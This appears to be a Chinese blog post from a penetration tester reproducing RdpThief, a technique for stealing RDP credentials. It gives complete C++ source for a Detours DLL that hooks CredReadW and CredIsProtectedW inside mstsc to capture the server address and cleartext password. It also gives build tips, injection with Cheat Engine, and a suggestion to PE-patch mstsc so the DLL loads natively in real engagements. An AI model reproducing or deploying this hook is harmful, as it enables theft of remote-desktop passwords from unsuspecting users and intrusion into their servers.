• 获取RDP连接中密码的方法


    前言

    渗透过程中,当发现RDP连接中有记录,但密码未保存,找到RdpThief,本文是一篇利用复现。

    实践

    系统
    windows 7 32

    工具
    API Monitor
    Cheat Engine6.7
    RdpThief

    将API Monitor,附加选择mstsc进程,如图所示:
    监听RDP进程

    RDP点击连接,并查看API Monitor列表
    RDP连接

    如果未监听到,请在左侧API帅选器中勾选如图
    抓取RDP调用API过程

    可以看到,连接IP出现在CredReadW的调用中,直接HOOK这个位置就可以获取连接IP,方法很多可以E语言实现比较简单,这里我们参考RdpThief源码,使用Detours
    框架来实现HOOK。

    Detours目录
    首先编译框架,利用VS自带工具VsDevCmd.bat,cd到Detours的src目录
    使用nmake命令编译,并安装框架
    编译安装框架

    代码

    这里直接使用MessageBoxW将HOOK的结果弹出,查看效果。

    #include "stdafx.h"
    #include <Windows.h>
    #include <detours.h>
    #include <dpapi.h>
    #include <wincred.h>
    #include <strsafe.h>
    #include <subauth.h>
    #define SECURITY_WIN32 
    #include <sspi.h>
    #pragma comment(lib, "crypt32.lib")
    #pragma comment(lib, "Advapi32.lib")
    #pragma comment(lib, "Secur32.lib")
    
    static BOOL(WINAPI *OriginalCredReadW)(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) = CredReadW;
    BOOL HookedCredReadW(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential)
    {
    	MessageBoxW(NULL, TargetName,L"Hostname",0);
    	return OriginalCredReadW(TargetName, Type, Flags, Credential);
    }
    
    static BOOL(WINAPI *OriginalCredIsProtectedW)(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType) = CredIsProtectedW;
    BOOL HookedCredIsProtectedW(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType)
    {
    	MessageBoxW(NULL, pszProtectedCredentials, L"Password", 0);
    	return OriginalCredIsProtectedW(pszProtectedCredentials, pProtectionType);
    }
    
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD  dwReason, LPVOID lpReserved)
    {
    	if (DetourIsHelperProcess()) {
    		return TRUE;
    	}
    
    	if (dwReason == DLL_PROCESS_ATTACH) {
    		DetourRestoreAfterWith();
    		DetourTransactionBegin();
    		DetourUpdateThread(GetCurrentThread());
    		DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
    		DetourAttach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);
    		DetourTransactionCommit();
    	}
    	else if (dwReason == DLL_PROCESS_DETACH) {
    		DetourTransactionBegin();
    		DetourUpdateThread(GetCurrentThread());
    		DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
    		DetourDetach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);
    		DetourTransactionCommit();
    
    	}
    	return TRUE;
    }
    

    这2个坑点,第1需要选择多线程编译模式,第2编译要用Release否则注入后程序会崩溃。
    多线程/MT

    Release

    编译后,使用Cheat Engine将DLL注入mstsc进程,真实项目中,可通过PE修改方式直接使mstsc原生调用DLL。
    注入DLL

    获取服务器地址

    获取服务器密码

    参考链接

    https://mp.weixin.qq.com/s/4CRBFqDLzjyziNkz17-c5A

    https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/

    https://github.com/0x09AL/RdpThief

  • 相关阅读:
    Makefile 之 $(Q)
    LeetCode-50-Pow(x, n)
    LeetCode-49. Group Anagrams
    全排列问题全面解析
    LeetCode-47. Permutations II
    LeetCode-46. Permutations
    LeetCode-43. Multiply Strings
    LeetCode-40. Combination Sum II
    LeetCode-39. Combination Sum
    LeetCode-36. Valid Sudoku
  • 原文地址:https://www.cnblogs.com/Wzqa/p/12457234.html
Copyright © 2020-2023  润新知